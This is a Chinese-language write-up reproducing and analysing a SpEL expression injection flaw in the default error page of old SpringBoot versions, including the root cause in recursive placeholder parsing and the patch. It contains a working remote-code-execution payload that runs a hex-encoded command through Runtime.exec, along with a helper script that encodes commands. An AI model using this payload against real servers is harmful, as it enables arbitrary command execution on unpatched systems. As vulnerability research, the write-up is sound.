低版本SpringBoot-SpEL表达式注入漏洞复现分析

低版本SpringBoot-SpEL表达式注入漏洞复现分析

影响版本

SpringBoot 1.1.0-1.1.12
SpringBoot 1.2.0-1.2.7
SpringBoot 1.3.0

利用条件是使用了springboot的默认错误页(Whitelabel Error Page),漏洞点在:org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration

触发原因

在SpringBoot的自定义错误页面,功能是页面返回错误,并提供详细信息,信息中包括错误status(”status”->500)、时间戳(”timestamp”->”Fri Dec…..”)、错误信息(”error”->”Internal Server Error”)、和用户输入的参数(”message”->”abcd”),这些参数在模板文件中以类似于以下形式存在:”Error 1234 ${status}—${timestamp}—${error}—${message}“。

关于漏洞的原理:

  1. spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
  2. 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析
  3. 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞

但主要的原因在于这里使用了递归,也就是说如果参数名中还包含${和}的话,这个解析引擎会再次递归一次,再次解析这个值,如,模板中有个值为${${abc}},由于使用了递归,解析引擎会对其解析两次,第一层去掉最外层的{}解析成${abc},然后将其作为参数进行第二次解析。在第二次解析中将里层的{}去掉,变成abc

分析

简简单单写个抛出异常的控制器即可,这里访问下面这个url,页面当中就会出现36

1
http://127.0.0.1:8080/?test=${6*6}
1
2
3
4
5
6
7
8
public String abc(HttpServletRequest request){

try {
throw new NullPointerException(request.getParameter("cmd"));

}catch (Exception e){

}

进入正题,在org.springframework.util.PropertyPlaceholderHelper#parseStringValue

首先会提取出${}当中的内容,这里第一个是从模板里取出的所以只能是timestamp\error\status\message

以timestamp为例子,这里在得到SpEL解析的结果后下面还会再对这个值继续进行SpEL表达式解析,很骚,调用的是parseStringValue,也就是一个递归的过程因此造成了SpEL的递归解析因此最终导致漏洞的产生,知道这个过程以后我们甚至可以让payload变得更难被探测,比如${${1*2}*6}会返回12

由字符串格式转换成 0x** java 字节形式,方便执行任意代码:

1
2
3
4
5
6
7
# coding: utf-8

result = ""
target = 'open -a Calculator'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))

这里执行open -na Calculator

1
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}

补丁分析

补丁创建了一个新的NonRecursivePropertyPlaceholderHelper类,用于防止parseStringValue进行递归解析

参考文章

https://www.jianshu.com/p/ce4ac733a4b9